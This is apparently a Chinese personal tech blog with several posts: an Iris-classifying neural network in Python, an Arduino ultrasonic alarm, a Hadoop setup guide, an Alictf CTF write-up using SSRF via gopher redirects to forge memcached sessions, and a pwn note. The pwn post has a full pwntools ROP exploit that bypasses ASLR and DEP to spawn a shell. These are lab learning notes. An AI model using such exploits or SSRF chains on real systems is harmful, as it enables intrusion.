Web Securtiy&Deep Learning

08月 21

python|bp神经网络|iris分类

写了几百年的神经网络终于写出来了。
主要遇到的几个坑点:

1.数据集里的y label必须在(0,1)间,如果你用了sigmoid作为激活函数
2.对于反向传播 S(L)=y-a(L) sigmoid函数 S(l)=w(l).S(l+1)*a(l)*(1-a(l)) sigmoid的导数

其实这里的坑点是,后面都是两两相乘,一开始用异或,输出都是1,就没注意到差别
delta(l)=S(l+1).a(l)

#-*- encoding:utf-8 -*-
import sys
import numpy as np
import os
import matplotlib.pyplot as plt
import random
from mlxtend.evaluate import plot_decision_regions
from matplotlib import animation 
reload(sys)
sys.setdefaultencoding('utf-8')
class bpnn:
    def __init__(self,a,b,c,d):
        np.random.seed(1)
        self.l0_w=np.random.random((a,b)) #输出层到隐含层的权值
        self.l1_w=np.random.random((b,c)) #隐含1层到隐含2层的权值
        self.l2_w=np.random.random((c,d)) #隐含2层到输出层的权值
    def train(self,X,Y,iterators,test_percent,lr):
        prev_loss=0
        flag=0
        for i in xrange(iterators+1):
            j=random.randint(0,len(X)-1)
            x=X[j] #取一行训练数据
            y=Y[j]
            l0=x
            l1=sigmoid(np.dot(x,self.l0_w)) #得到第一层输出
            l2=sigmoid(np.dot(l1,self.l1_w)) #得到第二层输出
            l3=sigmoid(np.dot(l2,self.l2_w))
            l3_error=l3-y  
            loss=np.sqrt(np.sum(np.square(l3_error)))*100

            l2_delta=l2.T.dot(l3_error)

            self.l2_w-=lr*l2_delta 
            l3_error=l3_error.transpose()
            l2_error=np.multiply(self.l2_w.dot(l3_error),sigmoid(l2,True).T) #不能省略求导,已经是输出了,所以直接相乘

            l1_error=np.multiply(self.l1_w.dot(l2_error),sigmoid(l1,True).T) #不能省略求导

            l1_delta=l1.T.dot(l2_error.T) #
            l0_delta=l0.T.dot(l1_error.T)
            self.l1_w-=lr*l1_delta
            self.l0_w-=lr*l0_delta
            if(flag%10000==0):
                if(flag!=0):
                    plt.plot([flag-10000,flag],[prev_loss,loss],'r--')
                plt.scatter(flag,loss,s=40,c='red')
                print "tranning:"+str(flag)+" times"+",total loss="+str(loss)
                prev_loss=loss
            flag=flag+1

    def predict(self,x):
        x=AutoNorm(x)
        l1=sigmoid(np.dot(x,self.l0_w))
        l2=sigmoid(np.dot(l1,self.l1_w))
        l3=sigmoid(np.dot(l2,self.l2_w))
        return l3
def AutoNorm(Z):   
    Zmax,Zmin = Z.max(), Z.min()
    Z = (Z - Zmin)/(Zmax - Zmin)
    return Z
def sigmoid(x,deriv=False):
    y=1.0 / (1 + np.exp(-x))
    if(deriv==True):
        return np.multiply(x,1-x)
    return y
def load_dataset(dataset,len_x,len_y):
    dataset=open(dataset,'r')
    line=dataset.readline()
    X=list()
    Y=list()
    while line:
        l=line.strip('\n')
        l=l.split(' ')
        l = [ float( l ) for l in l if l ]  
        X.append(l[0:len_x])
        Y.append(l[len_x:len_x+len_y])
        line=dataset.readline()
    return (X,Y)
if __name__=="__main__":
    degree1=4
    degree2=4
    newnn=bpnn(4,degree1,degree2,2)
    (X,Y)=load_dataset('E:\\ml\\iris.txt',4,2)
    X=np.matrix(X)
    Y=np.matrix(Y)
    X=AutoNorm(X)
    y=list()
    for i in Y:
        y.append(i.tolist()[0][0])
    plt.figure(2)
    plt.xlabel("epoch times")
    plt.ylabel("loss rate")
    plt.title("total loss rate graph")
    #ax1=plt.subplot(211)
    #ax2=plt.subplot(212)
    newnn.train(X,Y,60000,0.3,0.035)
    #plt.sca(ax1)
    #plot_decision_regions(X,y,newnn,legend=1)
    #plt.title("Decision Boundary for hidden layer size %d"%degree)
    plt.savefig('E:\\ml\\iris.jpg')
    print newnn.predict(np.matrix([6.7,3.1,4.4,1.4]))
    plt.show()

训练损失
iris_new.jpg

07月 27

基于arduino的声波报警器

单片机还是从arduino上手,虽然cyh的课玩过stm32,但终究不是很喜欢。
首先是我们的声波检测模块hc-sr04

1.jpg

详细参数如下:

2.jpg

通过发射声波接受返回的方式来检测有无物体
需要在trin引脚用一个10ms的脉冲去激发
然后接受echopin的高电位时间,使用pluseIn()
根据公式除以58就是距离的厘米数了。
同时我们用led red来进行报警
并buzzer在200HZ~800HZ间蜂鸣
代码如下:

const int echopin=3; 
const int trigpin=2;
int buzzer=6;
int led = 5;
void setup() {                
  Serial.begin(9600);  
  pinMode(buzzer,OUTPUT);
  pinMode(echopin,INPUT); //设定echo为输入模式
  pinMode(trigpin,OUTPUT);//设定trig为输出模式
  pinMode(led, OUTPUT);     
}
void notice()
{
    int i,j;
       for(i=0;i<40;i++)//输出一个频率的声音
    {
      digitalWrite(buzzer,HIGH);//发声音
      delay(1);//延时1ms
      digitalWrite(buzzer,LOW);//不发声音
      delay(1);//延时ms
    }
    for(i=0;i<50;i++)//输出另一个频率的声音
    {
      digitalWrite(buzzer,HIGH);//发声音
      delay(2);//延时2ms
      digitalWrite(buzzer,LOW);//不发声音
      delay(2);//延时2ms
    }
}
void warn()
{
  for(int i=200;i<=800;i++)                  
{
  pinMode(buzzer,OUTPUT);
  tone(buzzer,i);                        
 delay(5);                              
}
delay(4000);                       
for(int i=800;i>=200;i--)
{
  pinMode(buzzer,OUTPUT);
  tone(buzzer,i);
 delay(10);
}
}
void loop() {
  digitalWrite(trigpin,LOW);
  delayMicroseconds(2);
  digitalWrite(trigpin,HIGH);
  delayMicroseconds(10);
  digitalWrite(trigpin,LOW); //发一个10ms的高脉冲去触发TrigPin
  float distance = pulseIn(echopin,HIGH);//接收高电平时间
  distance = distance/58.0;//计算距离
  Serial.print(distance);  //输出距离
  Serial.println("cm");  //输出单位
  if(distance<60)
  {
    digitalWrite(led,HIGH);
    warn();
  }
  else
  {
    digitalWrite(led,LOW);
  }//距离小于10cm时,led写入高电平
  delay(60); 
}

结果如下

3.jpg

06月 10

Alictf web 400 Recruitment[II] Write Up

记录一下这道比较有意思的题目

psb (1).jpg

首先,首页是一个登陆页,其他地方没有看到明显的漏洞
头像上传点可以从网页直接获取,猜测是用curl或者file_get_contents完成的
那么这里就可能具有SSRF漏洞了。
对Url严格的限制了格式,只能是xx.jpg
但这难不倒我们,在nodeJS中使用路由xx.jpg
然后使用writeHead输出302重定向头。

response.writeHead(302, {
  'Location': 'gopher://127.0.0.1:80/'
});
response.end();

这样就可以使用任意协议了
我首先尝试file:// php://等协议均无效
初步可以推测是用curl实现的
那么这里我使用gopher协议探测开启的端口
果不其然,11211的memcached对本地是开放的。
使用gopher://127.0.0.1:11211/ 访问到了memcached
gopher://127.0.0.1:11211/_stats%20items%0d%0a
并发送stats item指令 列出
然后使用

stats cachedump 5 100

来导出item中的键值,这里得到了session序列化后的数值。
那么推测是,php中的处理器设置为了memcached

1.png

用set key flags exptime bytes
来增加一条新的cookies
然后成功伪造cookies后登陆到了管理员后台

2.png

看到了一个'秘密'文件

3.png

修改ip为127.0.0.1均无果
于是查看源码下载到了备份
虽然加载了全局防注入,但是没有考虑到$_SESSION

7.jpg

于是尝试构造注入,得到了flag

4.png

这道题比较有意思,总的来说考察了一下gopher和SSRF的知识

05月 23

Hadoop|Mapreduce|分布式计算入门

hadoop是apache名下的一个分布式计算框架,而mapreduce则是利用Key=>Value来进行分布式计算的一种思想和方法
首先注意,因为我是在kali(debian)下进行这次配置的,因此首先要重新安装jdk.(自带只有1.6)

1.png

vim /root/.bash_profile
来设置环境变量

export JAVA_HOME=/usr/bin/java
export PATH=$JAVA_HOME/bin:$PATH

使用source /root/.bash_profile 来使得配置生效
然后下载hadoop 2.6.0编译完整后的包,解压到/home/hadoop
同理添加环境变量

export HADOOP_HOME=/home/hadoop/
export PATH=$PATH:$HADOOP_HOME/bin

这时,我们的hadoop还需要配置几个xml文件,这里举例是在单机伪分布式模式下的情况
hadoop/etc/hadoop/hadoop-env.sh
hadoop/etc/hadoop/yarn-env.sh
hadoop/etc/hadoop/core-site.xml
hadoop/etc/hadoop/hdfs-site.xml
hadoop/etc/hadoop/mapred-site.xml
hadoop/etc/hadoop/yarn-site.xml

1)配置hadoop-env.sh

The java implementation to use.

#export JAVA_HOME=${JAVA_HOME}
export JAVA_HOME=/usr/lib/java
2)配置yarn-env.sh

#export JAVA_HOME=/usr/lib/java
export JAVA_HOME=/usr/lib/java
3)配置core-site.xml
添加如下配置:



fs.default.name
hdfs://localhost:9000
HDFS的URI,文件系统://namenode标识:端口号


hadoop.tmp.dir
/home/hadoop/tmp
namenode上本地的hadoop临时文件夹


4),配置hdfs-site.xml
添加如下配置

<configuration>
        <property>
                <name>dfs.namenode.secondary.http-address</name>
                <value>Master:50090</value> //查看namenode
        </property>
        <property>
                <name>dfs.replication</name>
                <value>1</value> //副本数量,由slave决定
        </property>
        <property>
                <name>dfs.namenode.name.dir</name>
                <value>file:/home/hadoop/hdfs/name</value>
        </property>
        <property>
                <name>dfs.datanode.data.dir</name>
                <value>file:/home/hadoop/hdfs/name</value>
        </property>
</configuration>

5),配置mapred-site.xml
添加如下配置:

<configuration>
<property>
        <name>mapreduce.framework.name</name>
        <value>yarn</value>
</property>
</configuration>

6),配置yarn-site.xml
添加如下配置:

<configuration>
        <property>
                <name>yarn.resourcemanager.hostname</name>
                <value>Master</value>
        </property>
        <property>
                <name>yarn.nodemanager.aux-services</name>
                <value>mapreduce_shuffle</value>
        </property>
</configuration>

一个示例的词频统计程序

<configuration>
<property>
        <name>yarn.nodemanager.aux-services</name>
        <value>mapreduce_shuffle</value>
</property>
<property>
        <name>yarn.resourcemanager.webapp.address</name>
        <value>${yarn.resourcemanager.hostname}:8099</value>
//这里是yarn的端口,可以自己设置
</property>
</configuration>

有时候会遇到jdk仍然是1.6的情况下,用如下命令来显示列表,并选择你要使用的java

sudo update-alternatives -- display java

最后启动hadoop
hdfs namenode -format
初始化format
start-dfs.sh
start-yarn.sh
mr-jobhistory-daemon.sh start historyserver
//打开job追踪 mapred historyserver
随后用jps查看启动的守护进程
成功启动后,配置eclipse的插件
将编译好的2.2.0版本的plugin拷到eclipse目录的plugins目录下
然后加载选择windows-preference 设置路径后
view-others选择mapreduce,于是可以成功的开始开始测试了
这是一个示例的程序,用于统计单词词频
每次map读一行后,把每个分词后的单词输出为 word,1 在之后的阶段变为word:[1,1,1,1,1,1....]
在reduce阶段,直接迭代其列表 sum+1统计即可

import java.io.IOException;  
public class wordCountTest {

        /**  
        * MapReduceBase类:实现了Mapper和Reducer接口的基类(其中的方法只是实现接口,而未作任何事情)  
        * Mapper接口:  
        * WritableComparable接口:实现WritableComparable的类可以相互比较。所有被用作key的类应该实现此接口。  
        * Reporter 则可用于报告整个应用的运行进度,本例中未使用。   
        *   
        */    
     public static class TokenizerMapper   
          extends Mapper<Object, Text, Text, IntWritable>{  
         
         /**  
          * LongWritable, IntWritable, Text 均是 Hadoop 中实现的用于封装 Java 数据类型的类,这些类实现了WritableComparable接口,  
          * 都能够被串行化从而便于在分布式环境中进行数据交换,你可以将它们分别视为long,int,String 的替代品。  
          */   
       private final static IntWritable one = new IntWritable(1);  
       private Text word = new Text();//Text 实现了BinaryComparable类可以作为key值  
        
         
       /**  
        * Mapper接口中的map方法:  
        * void map(K1 key, V1 value, OutputCollector<K2,V2> output, Reporter reporter)  
        * 映射一个单个的输入k/v对到一个中间的k/v对  
        * 输出对不需要和输入对是相同的类型,输入对可以映射到0个或多个输出对。  
        * OutputCollector接口:收集Mapper和Reducer输出的<k,v>对。  
        * OutputCollector接口的collect(k, v)方法:增加一个(k,v)对到output  
        */    
         
       public void map(Object key, Text value, Context context) throws IOException, InterruptedException {  
             
           /** 
            * 原始数据: 
            * c++ java hello 
               world java hello 
               you me too 
               map阶段,数据如下形式作为map的输入值:key为偏移量 
               0  c++ java hello 
               16 world java hello 
               34 you me too 
                
            */  
              
            /** 
             * 以下解析键值对 
            * 解析后以键值对格式形成输出数据 
            * 格式如下:前者是键排好序的,后者数字是值 
            * c++ 1 
            * java 1 
            * hello 1 
            * world 1 
            * java 1 
            * hello 1 
            * you 1 
            * me 1 
            * too 1 
            * 这些数据作为reduce的输出数据 
            */  
         StringTokenizer itr = new StringTokenizer(value.toString());//得到什么值  
         System.out.println("读取文本为 : "+value.toString());  
         System.out.println("所在偏移量 : "+key.toString());  
          
         while (itr.hasMoreTokens()) {  
           word.set(itr.nextToken());  
           
           context.write(word, one);  
         }  
        }  
       }
     public static class IntSumReducer extends Reducer<Text,IntWritable,Text,IntWritable> {  
            private IntWritable result = new IntWritable();  
            /** 
             * reduce过程是对输入数据解析形成如下格式数据: 
             * (c++ [1]) 
             * (java [1,1]) 
             * (hello [1,1]) 
             * (world [1]) 
             * (you [1]) 
             * (me [1]) 
             * (you [1]) 
             * 供接下来的实现的reduce程序分析数据数据 
             *  
             */  
            public void reduce(Text key, Iterable<IntWritable> values, Context context) throws IOException, InterruptedException {  
              int sum = 0;  
              /** 
               * 自己的实现的reduce方法分析输入数据 
               * 形成数据格式如下并存储 
               *     c++    1 
               *    hello   2 
               *    java    2 
               *    me      1 
               *    too     1 
               *    world   1 
               *    you     1 
               *     
               */  
              for (IntWritable val : values) {  
                sum += val.get();  
              }  
               
              result.set(sum);  
              context.write(key, result);  
            }  
          }  
     
     
     public static void main(String[] args) throws Exception {  
           
         /**  
          * JobConf:map/reduce的job配置类,向hadoop框架描述map-reduce执行的工作  
          * 构造方法:JobConf()、JobConf(Class exampleClass)、JobConf(Configuration conf)等  
          */    
         
         
         
         
         
         
       //根据自己的实际情况填写输入分析的目录和结果输出的目录  
       args = new String[2];
       args[0] = "hdfs://localhost:9000/input";
       args[1] = "hdfs://localhost:9000/output";
               
       Configuration conf = new Configuration();  
       String[] otherArgs = new GenericOptionsParser(conf, args).getRemainingArgs();  
       for(String s : otherArgs){
           System.out.println(s);
       }

       //这里需要配置参数即输入和输出的HDFS的文件路径  
       if (otherArgs.length != 2) {  
         System.err.println("Usage: wordcount <in> <out>");  
         System.exit(2);  
       }           
      // JobConf conf1 = new JobConf(WordCount.class);  
       Job job = new Job(conf, "word count");//Job(Configuration conf, String jobName) 设置job名称和  
       job.setJarByClass(wordCountTest.class);  
       job.setMapperClass(TokenizerMapper.class); //为job设置Mapper类   
       job.setCombinerClass(IntSumReducer.class); //为job设置Combiner类    
       job.setReducerClass(IntSumReducer.class); //为job设置Reduce类     
       job.setOutputKeyClass(Text.class);        //设置输出key的类型  
       job.setOutputValueClass(IntWritable.class);//  设置输出value的类型  
       FileInputFormat.addInputPath(job, new Path(otherArgs[0])); //为map-reduce任务设置InputFormat实现类   设置输入路径  
         
       FileOutputFormat.setOutputPath(job, new Path(otherArgs[1]));//为map-reduce任务设置OutputFormat实现类  设置输出路径  
       System.exit(job.waitForCompletion(true) ? 0 : 1);  
     }  
}

测试运行的结果

3.jpg

05月 07

pwn learning note|艰难的linux x64 aslr+DEP bypass

单纯的一个dep看起来很好绕过,那么加上aslr呢?
对于x86的linux来说,aslr对我们的阻碍还体现得不那么大,毕竟直接把需要调用的参数往栈里一扔
剩下只需要用plt延时绑定的函数就可以搞定了。
那么在x64下,这给我们的利用带来了很大的麻烦,因为一旦开启了aslr,整个libc的地址都不再可控而随机化
我也分享一下这一天折腾的经验吧

1.png

sudo -s echo 1 > /proc/sys/kernel/randomize_va_space

开启了aslr的保护,同样是上次开启dep的程序
由于libc.so中的地址被随机化了,因此gadget不再可用,在x64中想调用函数,主要用到的寄存器有:
RDI, RSI, RDX, RCX, R8和 R9
因此我们先尝试在程序本身寻找这样的gadget,最好是直接pop ret

7.png

可以看到缺少了关键的pop rdx;ret指令
因为这个程序太小了,而且没有引入什么外部的东西
就单单一个write函数,如果他引入了system等函数的话,我们就可以直接调用system@plt函数,就可以通过延时绑定来执行代码了,但很可惜并没有,而且字符串地址也被随机化了
因此,我们考虑到了一个通用的gadget
__libc_csu_init()会在加载libc.so的时候执行,进行一个初始化的工作
当然我一开始参考了
http://drops.wooyun.org/papers/7551
但是很明显我的环境和文章中有差别的,因此我开始进行分析
首先使用

objdump -d ./depaslr |grep __libc_csu_init

来查看__libc_csu_init()函数的汇编代码

heheda.jpg

00000000004005a0 <__libc_csu_init>:
  4005a0:   41 57                   push   r15
  4005a2:   41 89 ff                mov    r15d,edi
  4005a5:   41 56                   push   r14
  4005a7:   49 89 f6                mov    r14,rsi
  4005aa:   41 55                   push   r13
  4005ac:   49 89 d5                mov    r13,rdx
  4005af:   41 54                   push   r12
  4005b1:   4c 8d 25 c8 01 20 00    lea    r12,[rip+0x2001c8]        # 600780 <__frame_dummy_init_array_entry>
  4005b8:   55                      push   rbp
  4005b9:   48 8d 2d c8 01 20 00    lea    rbp,[rip+0x2001c8]        # 600788 <__init_array_end>
  4005c0:   53                      push   rbx
  4005c1:   4c 29 e5                sub    rbp,r12
  4005c4:   31 db                   xor    ebx,ebx
  4005c6:   48 c1 fd 03             sar    rbp,0x3
  4005ca:   48 83 ec 08             sub    rsp,0x8
  4005ce:   e8 0d fe ff ff          call   4003e0 <_init>
  4005d3:   48 85 ed                test   rbp,rbp
  4005d6:   74 1e                   je     4005f6 <__libc_csu_init+0x56>
  4005d8:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  4005df:   00 
  4005e0:   4c 89 ea                mov    rdx,r13
  4005e3:   4c 89 f6                mov    rsi,r14
  4005e6:   44 89 ff                mov    edi,r15d
  4005e9:   41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  4005ed:   48 83 c3 01             add    rbx,0x1  //rbx=0+1=1
  4005f1:   48 39 eb                cmp    rbx,rbp  //rbp=1
  4005f4:   75 ea                   jne    4005e0 <__libc_csu_init+0x40> //不能让跳转
  4005f6:   48 83 c4 08             add    rsp,0x8 //这里rsp自增了8,因此栈扩张了
  4005fa:   5b                      pop    rbx
  4005fb:   5d                      pop    rbp
  4005fc:   41 5c                   pop    r12
  4005fe:   41 5d                   pop    r13
  400600:   41 5e                   pop    r14
  400602:   41 5f                   pop    r15
  400604:   c3                      ret    
  400605:   66 66 2e 0f 1f 84 00    data16 nop WORD PTR cs:[rax+rax*1+0x0]
  40060c:   00 00 00 00 

最关键在于下面几行

21dwada.jpg

由此可知
rdx=r13 rsi=r14 edi=r15
所以要控制r15=参数1 r14=参数2 r13=参数3 r12=调用的函数地址 got_write rbx=0 ;//可以跳转到r12的地址
两个关键的地址:来进行整个流程的控制

4005e0: 41 ff 14 dc           call   QWORD PTR [r12+rbx*8]
4005fa: 5b                    pop    rbx

最后ret回上面可以call的地址,也就是
4005a0: 41 57 push r15
那么通用gadget为
payload=bufferlength|4005fa|0|1|got_write|8|leak address|1|4005a0|buffer56|主函数
参数依次是3,2,1对应寄存器rdx,rsi,rdi(edi)只能控制低32位
这里既然aslr进行了随机化,那么我们首先做的事情就是,通过write.got这个本身程序调用过的函数
来泄露出目标内存的地址,这个方法也被叫做memory leak(内存泄露)
这里我们通过搜索内存的方式,获得了system函数的地址

66.jpg

通过这样的手段,我们就可以得到system在内存中的地址了,然后我们再跳回程序入口点
把/bin/sh写入bss段中

readelf -h ./depaslr |grep bss

获取到了bss的地址,这个段用来存储全局变量,也不会被随机化

8.png

最后我们构造出了完整的payload

#!/usr/bin/env python
from pwn import *
rawfile=ELF('depaslr')
#target=process('./depaslr')
target=remote('127.0.0.1',6666)
got_write=rawfile.got['write']
print "got_write: " + hex(got_write)
got_read =rawfile.got['read']
print "got_read: " + hex(got_read)
bss_addr=0x00000000006009b8
main_addr=0x400450
def leak(address):
    payload='A'*72
    payload+=p64(0x4005fa)
    payload+=p64(0)
    payload+=p64(1)
    payload+=p64(got_write)
    payload+=p64(8)
    payload+=p64(address)
    payload+=p64(1)
    payload+=p64(0x4005e0)
    payload+='A'*56
    payload+=p64(main_addr)
    target.send(payload)
    data = target.recv(8)
    return data
d = DynELF(leak, elf=rawfile)
system_addr = d.lookup('system', 'libc')
print "find systemaddr at "+ (hex(system_addr))
print "write /bin/sh at bss section"
#write /bin/sh at bss section
payload='A'*72
payload+=p64(0x4005fa)
payload+=p64(0)
payload+=p64(1)
payload+=p64(got_read)
payload+=p64(16)
payload+=p64(bss_addr)
payload+=p64(0)#input stream
payload+=p64(0x4005e0)
payload+='A'*56
payload+=p64(main_addr)
target.send(payload)
sleep(1)
target.send(p64(system_addr))
target.send("/bin/sh\0")
sleep(1)
#system
payload='A'*72
payload+=p64(0x4005fa)
payload+=p64(0)
payload+=p64(1)
payload+=p64(bss_addr)
payload+=p64(0)
payload+=p64(0)
payload+=p64(bss_addr+8)
payload+=p64(0x4005e0)
payload+='A'*56
payload+=p64(main_addr)
target.send(payload)
target.interactive()

挂起在6666端口后,进行exploit

s.png

成功getshell



最新文章

最近回复

  • aaaa8:师父 受我一拜
  • 不觉:不错呦
  • TaQini:666,学习一下
  • 一周信息安全干货分享(第64期):[...]4.CCTF Web Writeup[...]
  • Silver:竟然帅了三秒?吃惊!
  • :原来还是影响心情了,你是不是攥着卡不给我就是不想让我走。那我不走...
  • aaaa8:连发两弹 扑通
  • 大寸:我来呼应一下大寸萌妹子这个称号,大寸这个实在是太汉子了!!
  • LZP:吴同学,那个rsa那么大的整数你用什么算出来的
  • Mr Liu:Introdeced by one of yr classmat...
  • 友情链接